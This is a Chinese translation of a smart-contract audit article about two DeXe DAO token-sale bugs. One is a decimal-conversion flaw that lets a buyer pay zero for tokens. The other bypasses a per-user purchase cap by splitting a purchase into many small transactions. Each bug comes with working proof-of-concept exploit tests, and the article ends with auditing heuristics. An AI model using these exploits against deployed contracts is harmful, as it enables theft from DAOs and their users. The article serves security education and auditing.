DAO 可以实施Token销售提案,作为将 DAO Token分发给用户的一种方式,定义一组购买Token以及允许用户换取正在销售的 DAO Token的汇率。 在实施这些Token销售提案时,必须特别小心,因为购买Token和销售Token可能具有不同的十进制精度。

在 Cyfrin 的 DeXe 协议审计中,我们注意到 DeXe 做出了一个有趣的设计决策:对于大多数函数,用户有责任以 18 十进制精度格式调用这些函数,即使底层Token没有 18 十进制精度。 考虑 代码 在用户支付购买 DAO Token时使用,使用用户提供的 ERC20 支付Token:

// @audit 当为购买销售提案中的 DAO Token的用户调用时:
// token = 用户正在支付的Token
// to = DAO gov 地址
// amount = 用户输入金额,DeXe 期望已经
// 以 18 位小数格式化
function _sendFunds(address token, address to, uint256 amount) internal {
// @audit 如果支付Token的小数位数少于 18 位(例如 USDC),
// 攻击者可以发送 6 位小数的金额,这将导致
// 尝试转换返回 0。 因此,调用将是:
// safeTransferFrom(attacker, daoGovAddress, 0)
// 意味着攻击者“免费”购买 DAO Token!
IERC20(token).safeTransferFrom(msg.sender, to, amount.from18(token.decimals()));
}

此代码假定提供的金额为 18 十进制精度,并尝试将其 转换 为用户正在支付的Token的本机精度; 如果转换结果为 0,则 from18() 函数将愉快地返回 0。

一个聪明的攻击者可以通过发送一个输入金额来利用这一点,当发生此转换时,将导致 from18() 返回 0,以便传递将尝试并成功传递 0 个Token,从而允许 攻击者“免费”购买正在销售的 DAO Token。 考虑我们的 PoC 场景,其中正在销售的 DAO Token具有 18 位小数,购买Token具有 6 位小数,并且正在使用 1:1 的汇率:

it("audit buy implicitly assumes that buy token has 18 decimals resulting in loss to DAO", async () => {
await purchaseToken3.approve(tsp.address, wei(1000));

// tier9 具有以下参数:
// totalTokenProvided : wei(1000)
// minAllocationPerUser : 0(无最小值)
// maxAllocationPerUser : 0(无最大值)
// exchangeRate : 每 1 个购买Token 4 个销售Token
//
// purchaseToken3 具有 6 位小数
//
// 以 6 位小数将购买Token铸造给所有者 1000 个
// 1000 000000
let buyerInitTokens6Dec = 1000000000;

await purchaseToken3.mint(OWNER, buyerInitTokens6Dec);
await purchaseToken3.approve(tsp.address, buyerInitTokens6Dec, { from: OWNER });

//
// 开始:买家尚未购买任何Token
let TIER9 = 9;
let purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;
assert.equal(purchaseView.claimTotalAmount, wei(0));

// 买家尝试使用 100 个 purchaseToken3 Token进行购买
// purchaseToken3 具有 6 位小数,但所有到 Dexe 的输入都应为
// 18 位小数,因此买家将输入金额格式化为 18 位小数
// 首先这样做是为了验证它是否正常工作
let buyInput18Dec = wei("100");
await tsp.buy(TIER9, purchaseToken3.address, buyInput18Dec);

// 买家已购买 wei(100) 个销售Token
purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;
assert.equal(purchaseView.claimTotalAmount, buyInput18Dec);

// 买家剩余 900 000000 个 purchaseToken3 Token
assert.equal((await purchaseToken3.balanceOf(OWNER)).toFixed(), "900000000");

// 接下来,买家尝试使用 100 个 purchaseToken3 Token进行购买
// 但发送格式化为本机 6 位小数的输入
// 发送 6 位小数输入:100 000000
let buyInput6Dec = 100000000;
await tsp.buy(TIER9, purchaseToken3.address, buyInput6Dec);

// 买家已购买另外 100000000 个销售Token
purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;
assert.equal(purchaseView.claimTotalAmount, "100000000000100000000");

// 但买家仍然有 900 000000 个剩余的 purchasetoken3 Token
assert.equal((await purchaseToken3.balanceOf(OWNER)).toFixed(), "900000000");

// 通过发送格式化为 6 位小数的输入金额,
// 买家能够免费购买少量正在销售的Token!
});

当 DAO 实施Token销售系统时,它们必须仔细考虑如何正确处理具有不同十进制精度的Token之间的交换。 理想情况下,DAO 将处理所有十进制转换,以便用户可以使用Token的本机小数传递输入金额与 DAO 进行交互,并且 DAO 负责处理所有必需的转换。 DAO 开发人员在转换返回 0 时应特别警惕,并仔细考虑在这种情况下让交易继续进行的影响。

攻击者可以绕过Token销售的最大用户分配

当 DAO 实施Token销售提案以将 DAO Token分发给用户时,重要的是限制任何单个用户可以购买的供应量,以限制每个用户将能够控制的投票权。 由于任何用户都可以控制无限数量的地址,因此此类Token销售通常具有诸如白名单和Token锁定要求之类的限制,以便只有一组固定的地址可以参与Token销售。

对于满足参与Token销售要求的地址,另一个限制是 maxAllocationPerUser:任何有资格参与的用户可以购买的最大金额。 考虑 此检查 来自 Cyfrin 的 DeXe 协议审计,该检查在每次尝试购买时都会进行:

require(
// @audit 如果 maxAllocationPerUser == 0 未强制执行
tierInitParams.maxAllocationPerUser == 0 ||
// @audit 如果 maxAllocationPerUser > 0 尝试检查:
// 1) 出售大于最小值
(tierInitParams.minAllocationPerUser <= saleTokenAmount &&
// 2) 出售小于每个用户的最大分配
saleTokenAmount <= tierInitParams.maxAllocationPerUser),
// 问题是用户到目前为止购买的全部金额都没有
// 添加到当前购买金额中,因此
// 用户可以通过执行几个小于限制的较小
// txns 来购买整个Token分配,从而轻松绕过此检查
"TSP: wrong allocation"
);

如果 maxAllocationPerUser 限制生效(maxAllocationPerUser > 0),则此代码检查当前购买的金额是否小于或等于 maxAllocationPerUser,但从不考虑同一用户从同一Token销售中但先前交易中已经购买的金额。

因此,任何用户都可以 通过执行几个较小的交易,每个交易的金额都在 maxAllocationPerUser 之下,以购买整个Token分配,从而轻松绕过Token销售的 maxAllocationPerUser 限制

it("attacker can bypass token sale maxAllocationPerUser to buy out the entire tier", async () => {
await purchaseToken1.approve(tsp.address, wei(1000));

// tier8 具有以下参数:
// totalTokenProvided : wei(1000)
// minAllocationPerUser : wei(10)
// maxAllocationPerUser : wei(100)
// exchangeRate : 每 1 个购买Token 4 个销售Token
//
// 一个用户最多只能购买 wei(100),
// 或总层的 10%。
//
// 任何用户都可以通过执行多个
// 较小的购买来绕过此限制,以购买整个层。
//
//  开始:用户尚未购买任何Token
let TIER8 = 8;
let purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER8]))[0].purchaseView;
assert.equal(purchaseView.claimTotalAmount, wei(0));

// 如果用户尝试在一个 txn 中购买所有内容,
// 则会强制执行 maxAllocationPerUser 并且 txn 会恢复
await truffleAssert.reverts(tsp.buy(TIER8, purchaseToken1.address, wei(250)), "TSP: wrong allocation");

// 但是用户可以进行多个较小的购买来绕过
// 仅分别检查每个项目的 maxAllocationPerUser 检查
// txn,不考虑总金额
// 用户已经购买
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));
await tsp.buy(TIER8, purchaseToken1.address, wei(25));

// 结束:用户已购买 wei(1000) 个Token - 整个层!
purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER8]))[0].purchaseView;
assert.equal(purchaseView.claimTotalAmount, wei(1000));

// 尝试购买更多会失败,因为整个层
// 已被单个用户购买
await truffleAssert.reverts(
tsp.buy(TIER8, purchaseToken1.address, wei(25)),
"TSP: insufficient sale token amount"
);
});

智能合约审计员应检查是否可以通过多个较小的交易来绕过对一个大交易的限制。

查找类似漏洞的启发法

智能合约审计员可以使用以下启发法来查找类似的漏洞。 这些启发法故意以问题的形式表达,以提示你的大脑挑战代码:

01。 许多小操作是否会产生与一个大操作相同的效果?

02。 在不同的位置是否存在相似但略有不同的检查(" < "与" <= ")? 如果是这样,是否可以使用发生在该间隙中的攻击来利用这一点?

03。 是否"total"(存储在其自己的存储位置中)始终等于所有单个用户值(存储在映射中)的总和? 快照时间怎么样?

04。 拍摄快照时,函数调用的顺序是否会导致“total”存储位置与单个用户值的总和之间的不一致?

05。 我可以改变“total”存储位置而不用改变单个存储位置吗?也许通过创造性的攻击媒介?

06。 我可以使用不存在的标识符,0 或我控制的自定义地址来调用函数吗?它不会恢复,但会执行并返回 > 0 的值吗?

07。 如果我使用非常小的值(甚至是 1 wei)会发生什么? 是否会发生舍入,是否可以利用它?

08。 测试套件中是否存在差距,例如 2 个重要合约之间缺乏集成测试,或者复杂流程的非常简单的测试用例? 关注这些领域,并创建更复杂的测试场景,以探测系统是否出现异常行为。

09。 测试套件是否对生产代码执行任何不同的操作? 测试套件是否调用了协议代码中永远不会被调用的函数?

10。 一旦我创建了一个系统行为不端的场景,我如何利用它来造成最大的损害?

  • 原文链接: dacian.me/dao-governance...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Dacian
Dacian
in your storage